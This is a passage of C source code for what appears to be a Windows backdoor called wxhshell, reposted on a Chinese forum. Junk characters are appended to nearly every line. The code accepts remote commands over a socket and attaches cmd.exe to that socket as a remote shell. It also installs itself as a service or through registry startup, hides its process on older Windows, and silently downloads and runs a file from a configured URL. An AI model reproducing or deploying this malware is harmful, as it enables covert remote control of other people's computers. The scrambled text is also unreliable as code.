    switch(cmd[0]) { u/D=&"tL  
  zqq$PaH*  
  // 帮助 .-:R mYGR  
  case '?': { U =()T}b>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D:uBr|('  
    break; _a"\g9{%*  
  } XOM@Pi#z  
  // 安装 n{~W s^d  
  case 'i': { =a_B'^`L  
    if(Install()) w:}RS.AK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tXocGM {6C  
    else GUe&WW:Sqk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .&53WL[D|  
    break; ^[d|^fRH Q  
    } e/?>6'6 5  
  // 卸载 YdI|xu>0A^  
  case 'r': { 4Qr16,Us  
    if(Uninstall()) GlDl0P,*r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vM}oxhQ$n  
    else C#5z!z/:%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6m$,t-f0b  
    break; nl7=Nhh  
    } !V =s^8nj  
  // 显示 wxhshell 所在路径 k++Os'hSEY  
  case 'p': { (wNL,<%~  
    char svExeFile[MAX_PATH]; N[~"X**x  
    strcpy(svExeFile,"\n\r"); D/CSR=b  
      strcat(svExeFile,ExeFile); nKFua l3  
        send(wsh,svExeFile,strlen(svExeFile),0); m|O7@N  
    break; 6 ]@H.8+  
    } .[-d( #l{l  
  // 重启 C^po*(W6  
  case 'b': { cTKj1)!z?X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :VPZGzK4  
    if(Boot(REBOOT)) <B;l).[6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r )cG ee  
    else { e1dT~l  
    closesocket(wsh); 5o~;0K]  
    ExitThread(0); Ksq{=q-T  
    } t Ztyx;EP  
    break; (8<U+)[tPy  
    } 1 )aB']K%  
  // 关机 :bLLN  
  case 'd': { FuNc#n>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zY<=r.m4  
    if(Boot(SHUTDOWN)) c}II"P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C?bq7kD:H  
    else { +jFcq:`#UG  
    closesocket(wsh); Rld1pX2v  
    ExitThread(0); CQo<}}-o  
    } %Ot22a  
    break; Q'] _3  
    } i#t)tM"  
  // 获取shell -E4e8'P;5  
  case 's': { 1/Pou)D  
    CmdShell(wsh); \c&%F=1+*  
    closesocket(wsh); 4VjP:>*p  
    ExitThread(0); HR55|`]  
    break; ;zD1#dD  
  } fA u^%jiU  
  // 退出 -.|V S|y  
  case 'x': { C?e1 a9r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :XK.A   
    CloseIt(wsh); nf5Ld"|%9  
    break; V `V Z[  
    } S x';Cj-  
  // 离开 "-Lbz)k  
  case 'q': { W9~vBU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !3{> F"  
    closesocket(wsh); C>q,c3s5  
    WSACleanup(); g_G'%{T7  
    exit(1); 2*6b{}yJH  
    break; /jQW4eW0  
        } *KO4H  
  } 6,sZo!G  
  } /wB<1b"  
)+c4n]  
  // 提示信息 K@P5]}'#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !HM|~G7  
} )miY>7K  
  } 9 ve q  
7hq*+e  
  return; ;E /:_DWPD  
} k=j--`$8k  
hPhNDmL#3  
// shell模块句柄 =PiDZS^"  
int CmdShell(SOCKET sock) HTK79 +  
{ TY[1jW~{r  
STARTUPINFO si; g&y'#,'Q~,  
ZeroMemory(&si,sizeof(si)); d/G`w{H}y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =j]us?5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F#KO!\iA+  
PROCESS_INFORMATION ProcessInfo; <N11$t&_  
char cmdline[]="cmd"; |:SBkM,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XJ~_FiB  
  return 0; [vkz<sL"  
} M7 &u_Cn?  
E~5r8gM,0  
// 自身启动模式 s7 IaU|m  
int StartFromService(void) !8^:19+  
{ je1f\N45  
typedef struct <JE-#i  
{ TIbqUR  
  DWORD ExitStatus; jW5n^Y)  
  DWORD PebBaseAddress; "$KU +?  
  DWORD AffinityMask; 76a+|TzR  
  DWORD BasePriority; vr<6j/ty  
  ULONG UniqueProcessId; $}0q=Lg%wv  
  ULONG InheritedFromUniqueProcessId; 0S <;T+WA  
}   PROCESS_BASIC_INFORMATION; /T`L;YE  
O^v^GG=e;C  
PROCNTQSIP NtQueryInformationProcess; |Ui1Mm  
4:-h\%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !uLW-[F,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JX,&im*BG  
lwhAF, '$  
  HANDLE             hProcess; iva&W  
  PROCESS_BASIC_INFORMATION pbi; W8j)2nKD  
5;5;bBo~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7q*L-Xe]k  
  if(NULL == hInst ) return 0; f>i6f@  
(SV(L~ T_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /Fej)WQp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @EH:4~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @^oOXc,r$  
kRs(A~ngc  
  if (!NtQueryInformationProcess) return 0; `T2RaWR4=  
!4cR&@[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1UX"iO x(  
  if(!hProcess) return 0; :IDD(<^9  
; mF-y,E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xg %EQ  
hM^#X,7  
  CloseHandle(hProcess); [8AGW7_  
|i'V\" hW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p_S8m|%  
if(hProcess==NULL) return 0; 4`5jq)  
Jr m<u t  
HMODULE hMod; AVyO5>w  
char procName[255]; v;" [1w}  
unsigned long cbNeeded; I`kaAOe  
Bsi HVr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xk%92Pto  
VH7VJ [  
  CloseHandle(hProcess); #y13(u,dN  
iLw O4i  
if(strstr(procName,"services")) return 1; // 以服务启动 wvsKn YKX  
!qPVC\l  
  return 0; // 注册表启动 YlD ui8.N  
} /gT$d2{  
hXdc5 ?i?  
// 主模块 mxsmW  
int StartWxhshell(LPSTR lpCmdLine) +c5z-X$^]  
{ <wUDcF  
  SOCKET wsl; DK 4 8  
BOOL val=TRUE; l<qK' P4  
  int port=0; ~F?s\kp6  
  struct sockaddr_in door; cmF&1o3_  
o %sBU  
  if(wscfg.ws_autoins) Install(); q y73  
57IAH$n8o  
port=atoi(lpCmdLine); YG ,  
3 RG*:9  
if(port<=0) port=wscfg.ws_port; :5hKE(3Q  
ocBfs^ aW  
  WSADATA data; MIvAugUOl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BYuF$[3ya&  
4d3]L` f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nsFOtOdd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L A-H  
  door.sin_family = AF_INET; |f1 S&b.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WGFp<R  
  door.sin_port = htons(port); {pMbkA Q@  
PPO*&=!]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ei)ljvvmHP  
closesocket(wsl); D+?/MrP  
return 1; j*@^O`^v  
} -L@4da[]i  
Xdj` $/RI  
  if(listen(wsl,2) == INVALID_SOCKET) { >2tQ')%DJ  
closesocket(wsl); '"&M4.J{  
return 1; qeLfO  
} }}y$T(:l  
  Wxhshell(wsl); X@KF}x's  
  WSACleanup();  " Mzb  
h<2o5c|  
return 0; x`K<z J   
"&*O7cs$pA  
} SskvxH+7  
AE!DftI  
// 以NT服务方式启动 -(9>{!",J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %D_2;  
{ _<pSCR0  
DWORD   status = 0; ^6j: lL  
  DWORD   specificError = 0xfffffff; S0( ).2#  
$qG;^1$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cM%I5F+n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8&?Kg>M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; | Qo`K%8  
  serviceStatus.dwWin32ExitCode     = 0; :N$^x /{  
  serviceStatus.dwServiceSpecificExitCode = 0; vgY ) L  
  serviceStatus.dwCheckPoint       = 0; <uZ r.X  
  serviceStatus.dwWaitHint       = 0; vw VeHjR  
Q qGf*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .%;`: dtj  
  if (hServiceStatusHandle==0) return; - ;1'{v  
?145^ w  
status = GetLastError(); ;sd[Q01  
  if (status!=NO_ERROR) Z.6M~  
{ vAWJP_;J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Bfe#,  
    serviceStatus.dwCheckPoint       = 0; F N6 GV  
    serviceStatus.dwWaitHint       = 0; ,:POo^!/fT  
    serviceStatus.dwWin32ExitCode     = status; uFQ;}k;}  
    serviceStatus.dwServiceSpecificExitCode = specificError; t}L kl(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4FURm@C6  
    return; Nn<TPT[,  
  } e;L++D  
 h>\T1PM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \d$fi*{  
  serviceStatus.dwCheckPoint       = 0; .l?sYe64S  
  serviceStatus.dwWaitHint       = 0; C+ar]Vi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C(-wA  
} r >bMx~a]  
{I'8+~|pZL  
// 处理NT服务事件,比如:启动、停止 FG/".dU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K ZoIjK]  
{ -7E)u  
switch(fdwControl) zOJ4I^^  
{ KMC]<  
case SERVICE_CONTROL_STOP: rTTde^^_  
  serviceStatus.dwWin32ExitCode = 0; 6;s.%W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PyQt8Qlz  
  serviceStatus.dwCheckPoint   = 0; UhKC:<%  
  serviceStatus.dwWaitHint     = 0; xgoG>~F  
  { | 4/'~cYV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iUDNm|e  
  } ~D# -i >Z  
  return; 2;h4$^`dt  
case SERVICE_CONTROL_PAUSE: N$>.V7H&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $yxwB/O(  
  break; d%+oCoeb  
case SERVICE_CONTROL_CONTINUE: >np!f8+d"q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /+^7lQo\]  
  break; /}+VH_N1  
case SERVICE_CONTROL_INTERROGATE: \Ps}1)wT  
  break; cV]c/*z A  
}; kaM=Fk=t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zq]I"0Bi.  
} 2I'gT$h  
S -$ L2N  
// 标准应用程序主函数 C \"nlNKw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )F _vWbg  
{ WUOoK$I~K  
wEd+Ds]$  
// 获取操作系统版本 sG-$d\ 1d  
OsIsNt=GetOsVer(); 8<V6W F`e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L#U-d zy\  
Ff6l"A5  
  // 从命令行安装 +/xmxh$ $  
  if(strpbrk(lpCmdLine,"iI")) Install(); l~ 3H"  
)~W 35  
  // 下载执行文件 ^`M,ju  
if(wscfg.ws_downexe) { 2J?ON|2M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bY` b3  
  WinExec(wscfg.ws_filenam,SW_HIDE); !O|d,)$q  
} WcRTv"4&  
2gP^+.  
if(!OsIsNt) { `^ FAD   
// 如果时win9x,隐藏进程并且设置为注册表启动 k;EG28   
HideProc(); gbvM2  
StartWxhshell(lpCmdLine); _0HCtx ;  
} R1't W=  
else kyV!ATL1F  
  if(StartFromService()) vh+ ' W  
  // 以服务方式启动 %3p~5jhm1  
  StartServiceCtrlDispatcher(DispatchTable); #63)I9>  
else 117`=9F  
  // 普通方式启动 *xHj*  
  StartWxhshell(lpCmdLine); =AaTn::e/  
4pU|BL\j  
return 0; :+?eF^ 5  
}
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只看该作者 1 发表于: 2006-10-10
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